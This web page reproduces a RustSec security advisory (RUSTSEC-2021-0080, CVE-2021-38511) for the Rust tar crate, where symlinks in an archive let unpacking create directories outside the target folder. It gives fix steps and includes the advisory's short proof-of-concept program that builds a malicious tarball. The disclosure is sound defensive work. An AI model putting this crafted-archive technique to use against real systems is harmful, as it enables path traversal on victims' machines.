Vulnerability HighRUSTSEC-2021-0080 · tar
RUSTSEC-2021-0080: Links in archive can create arbitrary directories
Short answerA security vulnerability in the tar crate: Links in archive can create arbitrary directories. High severity (CVSS 7.5). Fixed in 0.4.36: update to a fixed version.
| Crate | tar |
|---|---|
| Type | Vulnerability |
| Affected versions | Before 0.4.36. |
| Fixed in | 0.4.36 |
| Severity | High, CVSS 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Published | 2021-07-19 |
| Last changed | 2026-07-17 |
| Also known as | CVE-2021-38511, GHSA-62jx-8vmh-4mcw |
| Affected functions | tar::Archive::unpack |
What to do
- See which version you have:
cargo tree -i tar(it also shows which of your dependencies pulls it in). - Update within your version requirement:
cargo update -p tar. If the fix is a newer major or minor than your requirement allows, raise it in Cargo.toml (for exampletar = "0.4.36") or update the dependency that pulls it in. - Check again with
cargo audit, or paste your Cargo.lock into our Cargo.toml checker.
Details from the advisory
When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};
fn main() -> Result<()> {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
builder.finish()?;
};
Archive::new(&*buf).unpack("demo")
}
This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!
References
- Package: crates.io/crates/tar
- Advisory: rustsec.org/advisories/RUSTSEC-2021-0080.html
- Report: github.com/alexcrichton/tar-rs/issues/238
From the RustSec Advisory Database (CC0-1.0) via the OSV export, downloaded Oct 24, 2026. Severity score computed from the published CVSS vector.
Other advisories for tar
- Vulnerability HighRUSTSEC-2018-0002 · 2018-06-29Links in archives can overwrite any existing file
- VulnerabilityRUSTSEC-2026-0067 · 2026-03-19`unpack_in` can chmod arbitrary directories by following symlinks
- VulnerabilityRUSTSEC-2026-0068 · 2026-03-19tar-rs incorrectly ignores PAX size headers if header size is nonzero
- VulnerabilityGHSA-3pv8-6f4r-ffg2 · 2026-05-29tar has a PAX header desynchronization issue
Up next
Same cratetar: security historyEvery advisory for this crate, and whether it is safe to use today.Read it next →Did this answer your question?